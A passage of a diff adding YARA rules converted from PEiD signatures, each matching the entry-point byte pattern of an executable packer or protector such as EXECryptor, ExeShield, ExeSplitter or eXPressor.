+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00622_EXECryptor_2_3_9_DLL__minimum_protection__
+{
+    meta:
+        description = "[EXECryptor 2.3.9 DLL (minimum protection)]"
+        ep_only = "true"
+    strings:
+        $a = {51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87}
+    condition:
+        $a
+}
+/*
+rule PEiD_00623_EXECryptor_2_x____SoftComplete_Developement_
+{
+    meta:
+        description = "[EXECryptor 2.x -> SoftComplete Developement]"
+        ep_only = "false"
+    strings:
+        $a = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+    condition:
+        $a
+}
+*/
+rule PEiD_00624_EXECryptor_2_xx__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_00625_EXECryptor_2_xx__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89}
+    condition:
+        $a
+}
+
+rule PEiD_00626_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com___Sign_By_haggar_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00627_EXECryptor_2_xx__max__compressed_resources_____www_strongbit_com_
+{
+    meta:
+        description = "[EXECryptor 2.xx (max. compressed resources) -> www.strongbit.com]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1}
+    condition:
+        $a
+}
+
+rule PEiD_00628_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00629_EXECryptor_v1_3_0_45_
+{
+    meta:
+        description = "[EXECryptor v1.3.0.45]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00630_EXECryptor_v1_4_0_1_
+{
+    meta:
+        description = "[EXECryptor v1.4.0.1]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+    condition:
+        $a
+}
+
+rule PEiD_00631_EXECryptor_v1_5_1_x_
+{
+    meta:
+        description = "[EXECryptor v1.5.1.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_00632_EXECryptor_v1_5_3_
+{
+    meta:
+        description = "[EXECryptor v1.5.3]"
+        ep_only = "false"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_00633_EXECryptor_V2_1X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {83 C6 14 8B 55 FC E9 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00634_EXECryptor_V2_1X____SoftComplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.1X -> SoftComplete.com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+    condition:
+        $a
+}
+
+rule PEiD_00635_EXECryptor_V2_2X____softcomplete_com_
+{
+    meta:
+        description = "[EXECryptor V2.2X -> softcomplete.com]"
+        ep_only = "false"
+    strings:
+        $a = {FF E0 E8 04 00 00 00 FF FF FF FF 5E C3 00}
+    condition:
+        $a
+}
+
+rule PEiD_00636_EXECryptor_vx_x_x_x_
+{
+    meta:
+        description = "[EXECryptor vx.x.x.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_00637_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00638_ExeJoiner_1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00}
+    condition:
+        $a
+}
+rule PEiD_00639_ExeJoiner_1_0____Yoda_
+{
+    meta:
+        description = "[ExeJoiner 1.0 -> Yoda]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00640_ExeJoiner_V1_0____Yoda_f2f_
+{
+    meta:
+        description = "[ExeJoiner V1.0 -> Yoda f2f]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00641_EXEJoiner_v1_0_
+{
+    meta:
+        description = "[EXEJoiner v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00642_EXELOCK_666_1_5_
+{
+    meta:
+        description = "[EXELOCK 666 1.5]"
+        ep_only = "true"
+    strings:
+        $a = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+    condition:
+        $a
+}
+
+rule PEiD_00643_ExeLock_v1_00_
+{
+    meta:
+        description = "[ExeLock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+    condition:
+        $a
+}
+
+rule PEiD_00644_EXEPACK__LINK__v3_60__v3_64__v3_65_or_5_01_21_
+{
+    meta:
+        description = "[EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00645_EXEPACK_v4_05__v4_06_
+{
+    meta:
+        description = "[EXEPACK v4.05, v4.06]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+    condition:
+        $a
+}
+
+rule PEiD_00646_EXERefactor_V0_1____random_
+{
+    meta:
+        description = "[EXERefactor V0.1 -> random]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+    condition:
+        $a
+}
+
+rule PEiD_00647_ExeSafeguard_1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard 1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE}
+    condition:
+        $a
+}
+
+rule PEiD_00648_ExeSafeguard_v1_0____simonzh__h__
+{
+    meta:
+        description = "[ExeSafeguard v1.0 -> simonzh (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C0 5D EB 4E EB 47 DF 69 4E 58 DF 59 74 F3 EB 01 DF 75 EE 9A 59 9C 81 C1 E2 FF FF FF EB 01 DF 9D FF E1 E8 51 E8 EB FF FF FF DF 22 3F 9A C0 81 ED 19 18 40 00 EB 48 EB 47 DF 69 4E 58 DF 59 79 EE EB 01 DF 78 E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF BA A3 22 3F 9A C0 60 EB 4D EB 47 DF 69 4E 58 DF 59 79 F3 EB 01 DF 78 EE DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 8D B5 EE 19 40 00 EB 47 EB 47 DF 69 4E 58 DF 59 7A EE EB 01 DF 7B E9 DF 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF DF 22 3F 9A C0 8B FE EB 4C EB 47 DF 69 4E 58 DF 59 74 F2 EB 01 DF 75 ED 0F 59 9C 81 C1 E5 FF FF FF 9D FF E1 EB 51 E8 EE FF FF FF E8 BA A3 22 3F 9A C0 B9 2B CB 00 00 EB 4B EB 47 DF 69 4E 58 DF 59 78 EF}
+    condition:
+        $a
+}
+
+rule PEiD_00649_ExeShield_3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield 3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00650_ExeShield_Cryptor_1_3RC____Tom_Commander_
+{
+    meta:
+        description = "[ExeShield Cryptor 1.3RC -> Tom Commander]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 8C 21 40 00 B9 51 2D 40 00 81 E9 E6 21 40 00 8B D5 81 C2 E6 21 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a
+}
+rule PEiD_00651_ExeShield_Protector_V3_6____www_exeshield_com_
+{
+    meta:
+        description = "[ExeShield Protector V3.6 -> www.exeshield.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+    condition:
+        $a
+}
+
+rule PEiD_00652_ExeShield_v3_7____ExeShield_Team__h__
+{
+    meta:
+        description = "[ExeShield v3.7 -> ExeShield Team (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F 8C B9 0A FC EC E4 82 97 AE 0F 18 D2 47 1B 65 EA 46 A5 FD 3E 9D 75 2A 62 80 60 F9 B0 0D E1 AC 12 0E 9D 24 D5 43 CE 9A D6 18 BF 22 DA 1F 72 76 B0 98 5B C2 64 BC AE D8}
+    condition:
+        $a
+}
+
+rule PEiD_00653_ExeSmasher_vx_x_
+{
+    meta:
+        description = "[ExeSmasher vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10}
+    condition:
+        $a
+}
+
+rule PEiD_00654_ExeSplitter_1_2____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.2 -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E9 95 02 00 00 64 A1 00 00 00 00 83 38 FF 74 04 8B 00 EB F7 8B 40 04 C3 55 8B EC B8 00 00 00 00 8B 75 08 81 E6 00 00 FF FF B9 06 00 00 00 56 56 E8 B0 00 00 00 5E 83 F8 01 75 06 8B C6 C9 C2 04 00 81 EE 00 00 01 00 E2 E5 C9 C2 04 00 55 8B EC 8B 75 0C 8B DE 03 76 3C 8D 76 18 8D 76 60 8B 36 03 F3 56 8B 76 20 03 F3 33 D2 8B C6 8B 36 03 F3 8B 7D 08 B9 0E 00 00 00 FC F3 A6 0B C9 75 02 EB 08}
+    condition:
+        $a
+}
+
+rule PEiD_00655_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00656_ExeSplitter_1_3__Split_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00657_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "false"
+    strings:
+        $a = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+    condition:
+        $a
+}
+
+rule PEiD_00658_ExeSplitter_1_3__Split_Crypt_Method_____Bill_Prisoner___TPOC_
+{
+    meta:
+        description = "[ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
+    condition:
+        $a
+}
+
+rule PEiD_00659_ExeStealth____WebToolMaster_
+{
+    meta:
+        description = "[ExeStealth -> WebToolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00660_EXEStealth_2_75____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.75 -> WebtoolMaster]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_00661_EXEStealth_2_76_Unregistered____WebtoolMaster_
+{
+    meta:
+        description = "[EXEStealth 2.76 Unregistered -> WebtoolMaster]"
+        ep_only = "false"
+    strings:
+        $a = {EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20}
+    condition:
+        $a
+}
+rule PEiD_00662_ExeTools_COM2EXE_
+{
+    meta:
+        description = "[ExeTools COM2EXE]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ED ?? 8C DA 2E 89 96 ?? ?? 83 C2 ?? 8E DA 8E C2 2E 01 96 ?? ?? 60}
+    condition:
+        $a
+}
+
+rule PEiD_00663_ExeTools_v2_1_Encruptor_by_DISMEMBER_
+{
+    meta:
+        description = "[ExeTools v2.1 Encruptor by DISMEMBER]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+    condition:
+        $a
+}
+rule PEiD_00664_EXE______________Liuli_
+{
+    meta:
+        description = "[Convert Base64 to ASCII RVhFw47DhMK8w77CusOPwrLCosOGw7cgLT4gTGl1bGk=]"
+        ep_only = "false"
+    strings:
+        $a = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+    condition:
+        $a
+}
+
+
+rule PEiD_00665_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a
+}
+rule PEiD_00666_eXPressor_1_0_beta____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.0 beta -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 77 20 3D 20 30 78 25 30 34 78 20 20 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 00 00 00 00 00 00 42 61 64 20 70 6F 69 6E 74 65 72 3A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2A 70 64 77 20 3D 20 30 78 25 30 38 78 00 00 00 45 72 72 6F 72 3A 00 00 54 68 65 20 25 68 73 20 66 69 6C 65 20 69 73 20 0A 6C 69 6E 6B 65 64 20 74 6F 20 6D 69 73 73 69 6E 67 20 65 78 70}
+    condition:
+        $a
+}
+
+rule PEiD_00667_eXPressor_1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? 12 00 00 E9 ?? 0C 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00 E9 ?? ?? 00 00}
+    condition:
+        $a
+}
+rule PEiD_00668_eXPressor_1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00669_eXPressor_1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00670_eXPressor_1_2_0_Beta_PE_Packer_
+{
+    meta:
+        description = "[eXPressor 1.2.0 Beta PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 EB ?? 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00671_eXPressor_1_2_0b_
+{
+    meta:
+        description = "[eXPressor 1.2.0b]"
+        ep_only = "false"
+    strings:
